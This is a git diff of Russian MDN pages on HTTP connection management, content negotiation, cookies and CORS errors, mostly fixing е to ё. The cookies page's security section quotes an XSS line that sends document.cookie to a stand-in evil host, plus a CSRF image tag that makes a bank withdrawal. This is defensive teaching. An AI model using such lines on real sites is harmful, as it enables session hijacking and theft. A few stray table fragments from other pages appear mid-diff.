            • Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая RTT и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, дает существенное улучшение не во всех случаях.
            • +
            • Прокси с багами все ещё встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.
            • +
            • Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая RTT и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, даёт существенное улучшение не во всех случаях.
            • Конвейерная обработка подвержена проблеме HOL.
            -

            По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, мультиплексность (multiplexing).

            +

            По этим причинам в HTTP/2 на смену конвейерной обработке пришёл новый алгоритм, мультиплексность (multiplexing).

            -

            По умолчанию запросы HTTP идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер увидит следующий запрос с существенной задержкой.

            +

            По умолчанию запросы HTTP идут последовательно. Новый запрос выдаётся только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер увидит следующий запрос с существенной задержкой.

            -

            Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный MSS (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.

            +

            Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счёт упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный MSS (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.

            Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.

            @@ -75,10 +75,10 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x

            Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соединений к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от DoS со стороны сервера.

            -

            Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, www.example.com, он может распределить их по нескольким доменам, www1.example.com, www2.example.com, www3.example.com. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (domain sharding).

            +

            Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, www.example.com, он может распределить их по нескольким доменам, www1.example.com, www2.example.com, www3.example.com. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастёт до 18). Этот метод называют доменным разделением (domain sharding).

            Заключение

            -

            Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.

            +

            Улучшение управлением соединениями даёт существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.

            diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html index 28d401e3ad..4c36d7e82b 100644 --- a/files/ru/web/http/content_negotiation/index.html +++ b/files/ru/web/http/content_negotiation/index.html @@ -11,14 +11,14 @@ translation_of: Web/HTTP/Content_negotiation

            Принципы согласования контента

            -

            Конкретный документ называется ресурсом. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется представлением, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом согласования контента и существует несколько способов согласования между клиентом и сервером.

            +

            Конкретный документ называется ресурсом. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется представлением, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определённый URL. Выбор конкретного представления при вызове ресурса определяется механизмом согласования контента и существует несколько способов согласования между клиентом и сервером.

            Определение наиболее подходящего представления производится с помощью одного из двух механизмов:

              -
            • Конкретные HTTP-заголовки клиента (согласование на основе сервера или упреждающее согласование), что является стандартным способом согласования определенного вида ресурса.
            • +
            • Конкретные HTTP-заголовки клиента (согласование на основе сервера или упреждающее согласование), что является стандартным способом согласования определённого вида ресурса.
            • HTTP коды ответа {{HTTPStatus("300")}} (Multiple Choices) или {{HTTPStatus("406")}} (Not Acceptable) (согласование на основе агента или реактивное согласование), используемые в качестве резервных механизмов.
            @@ -37,16 +37,16 @@ translation_of: Web/HTTP/Content_negotiation

            Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:

              -
            • У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остается в каком-то смысле произвольным.
            • +
            • У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остаётся в каком-то смысле произвольным.
            • Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).
            • С увеличением количества представлений падает эффективность общих кешей и усложняется реализация сервера.

            Заголовок Accept

            -

            Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.

            +

            Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделённый запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.

            -

            {{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком значений по умолчанию, используемых распространенными браузерами.

            +

            {{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком значений по умолчанию, используемых распространёнными браузерами.

            Заголовок Accept-CH {{experimental_inline}}

            @@ -83,7 +83,7 @@ translation_of: Web/HTTP/Content_negotiation

            Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По традиции он имеет своё значение для каждой локали браузера, например, ISO-8859-1,utf-8;q=0.7,*;q=0.7 установлен для западноевропейской локали.

            -

            В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок Accept-Charset: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.

            +

            В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счёт уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок Accept-Charset: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.

            Заголовок Accept-Encoding

            diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html index 043d2c19c0..e37f0d3b4d 100644 --- a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html +++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -68,7 +68,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

            Значения для изображений

            -

            Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.

            +

            Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задаёт уточнённый список подходящих MIME-типов.

            Метаданные.
            Разрешенное содержимоеРазрешённое содержимое Текст, который не является межэлементным {{glossary("Whitespace", "разделителем")}}.
            Открывающий и закрывающий теги обязательны. Обратите внимание, что отсутствие </title> заставляет браузер игнорировать остальную часть страницы.
            Разрешенные родительские элементыРазрешённые родительские элементы Элемент {{ HTMLElement("head") }}, который не содержит других элементов {{ HTMLElement("title") }}.
            Разрешенные роли ARIAРазрешённые роли ARIA Отсутствуют.
            Основной поток, фразовый контент.
            Разрешенное содержимоеРазрешённое содержимое Отсутствует
            It is an {{Glossary("empty element")}}; it must have a start tag, but must not have an end tag.
            Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент принимающий фразовый контент.
            Разрешенные роли ARIAРазрешённые роли ARIA Любые
            {{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}} {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени), {{SpecName('HTML5.1')}}Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени), {{SpecName('HTML5.1')}}
            {{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}
            @@ -111,7 +111,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

            Значения для видео

            -

            Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.

            +

            Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточнённое значение.

            @@ -145,7 +145,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

            Значения для аудиофайлов

            -

            Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.

            +

            Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточнённое значение.

            @@ -179,7 +179,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

            Значения для скриптов

            -

            Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.

            +

            Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточнённое значение.

            @@ -213,7 +213,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

            Значения для таблиц стилей CSS

            -

            Если запрашивается таблица стилей CSS через HTML-элемент <link rel="stylesheet">, в большинстве браузеров используется уточненное значение.

            +

            Если запрашивается таблица стилей CSS через HTML-элемент <link rel="stylesheet">, в большинстве браузеров используется уточнённое значение.

            diff --git a/files/ru/web/http/cookies/index.html b/files/ru/web/http/cookies/index.html index 52e3a21943..cef15e96f2 100644 --- a/files/ru/web/http/cookies/index.html +++ b/files/ru/web/http/cookies/index.html @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Куки

            До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB.

            -

            Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

            +

            Чтобы посмотреть сохранённые cookies (и какие ещё способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

            @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Куки
            Set-Cookie: <имя-cookie>=<заголовок-cookie>
            -

            Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

            +

            Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

            HTTP/1.0 200 OK
             Content-type: text/html
            @@ -41,7 +41,7 @@ Set-Cookie: tasty_cookie=strawberry
             
             [page content]
            -

            Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. 

            +

            Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохранённые ранее cookies. 

            GET /sample_page.html HTTP/1.1
             Host: www.example.org
            @@ -50,17 +50,17 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
             
             
             
            -

            Простой cookie, пример которого приведен выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

            +

            Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

            Постоянные cookies

            -

            Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут Expires) или после определенного интервала времени (атрибут Max-Age).

            +

            Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires) или после определённого интервала времени (атрибут Max-Age).

            Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

            Secure ("безопасные") и HttpOnly cookies

            -

            "Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом secure.

            +

            "Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом secure.

            Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.

            @@ -69,7 +69,7 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry

            Область видимости куков

            Директивы Domain  и Path определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.
            - Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.

            + Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.

            Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.

            @@ -96,7 +96,7 @@ document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
            -

            Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

            +

            Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

            @@ -109,7 +109,7 @@ console.log(document.cookie);

            Захват сессии (session hijacking) и XSS

            -

            Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.

            +

            Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.

            (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
            @@ -117,7 +117,7 @@ console.log(document.cookie);

            Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

            -

            В Wikipedia приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

            +

            В Wikipedia приведён хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

            <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
            @@ -134,17 +134,17 @@ console.log(document.cookie);

            Сторонние (Third-party) куки

            -

            Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

            +

            Куки связаны с определённым доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

            Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

            Не отслеживать (Do-Not-Track)

            -

            Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.

            +

            Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.

            Директива Евросоюза о куках

            -

            Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.

            +

            Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.

            Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

            diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html index 48cb10706a..1a69c7a3d0 100644 --- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin

            Что пошло не так?

            -

            Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.

            +

            Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешённых заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.

            Эта ошибка также может произойти, если ответ содержит более одного заголовка Access-Control-Allow-Origin.

            diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html index c4f75914b1..0c5d69b7c3 100644 --- a/files/ru/web/http/cors/errors/corsdisabled/index.html +++ b/files/ru/web/http/cors/errors/corsdisabled/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTTP/CORS/Errors/CORSDisabled

            Что случилось?

            -

            При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.

            +

            При запросе с использованием {{Glossary("CORS")}}, последний был отключён в браузере пользователя. Чтобы использовать CORS, его необходимо включить.

            -

            В браузере Firefox, настройка которая отключает CORS - content.cors.disable. Устанавливая данное значение в true вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.

            +

            В браузере Firefox, настройка которая отключает CORS - content.cors.disable. Устанавливая данное значение в true вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонён с ошибкой.

            Смотрите также

            diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html index 56875e1603..60e0ed817b 100644 --- a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html +++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html @@ -11,13 +11,13 @@ translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin

            В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.

            -

            Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка Access-Control-Allow-Origin.

            +

            Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешённых доменов, добавив его в значение заголовка Access-Control-Allow-Origin.

            Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:

            Access-Control-Allow-Origin: https://amazing.site
            -

            Также вы можете разрешить доступ любому сайту, используя подстановку *. Используйте этот способ только для публичных API. В закрытых API * не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением anonymous.

            +

            Также вы можете разрешить доступ любому сайту, используя подстановку *. Используйте этот способ только для публичных API. В закрытых API * не должна использоваться, вместо этого должен быть установлен определённый домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением anonymous.

            Access-Control-Allow-Origin: *
            diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html index ca98549889..c7ec4d9028 100644 --- a/files/ru/web/http/cors/index.html +++ b/files/ru/web/http/cors/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/CORS

            -

            Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или Fetch, чтобы снизить риски, присущие запросам с других источников.

            +

            Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищённому соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или Fetch, чтобы снизить риски, присущие запросам с других источников.

            Кто должен читать данную статью?

            @@ -31,14 +31,14 @@ translation_of: Web/HTTP/CORS
          • WebGL текстуры.
          • Фреймы с изображениями/видео, добавленными в канвас с помощью drawImage.
          • Стили (для CSSOM доступа).
          • -
          • Скрипты (для  отключенных исключений).
          • +
          • Скрипты (для  отключённых исключений).
          • Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.

            Обзор функциональности

            -

            Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых HTTP-заголовков, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определенные MIME-типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая Cookies и HTTP Authentication данные) быть отправлены с запросом.

            +

            Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых HTTP-заголовков, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определённые MIME-типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая Cookies и HTTP Authentication данные) быть отправлены с запросом.

            Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. 

            @@ -46,7 +46,7 @@ translation_of: Web/HTTP/CORS

            Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.

            -

            Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на http://arunranga.com/examples/access-control/, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.

            +

            Фрагменты JavaScript кода, включённые в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на http://arunranga.com/examples/access-control/, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.

            Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье Server-Side Access Control (CORS).

            @@ -62,7 +62,7 @@ translation_of: Web/HTTP/CORS
          • {{HTTPMethod("POST")}}
          • -
          • Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или любой другой заголовок с именем, определенным в спецификации метода Fetch в секции “Запрещенные имена заголовков (которые нельзя изменить программно)”), допустимыми заголовками, которые могут быть проставлены вручную, являются те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”, такие как: +
          • Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или любой другой заголовок с именем, определённым в спецификации метода Fetch в секции “Запрещённые имена заголовков (которые нельзя изменить программно)”), допустимыми заголовками, которые могут быть проставлены вручную, являются те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”, такие как:
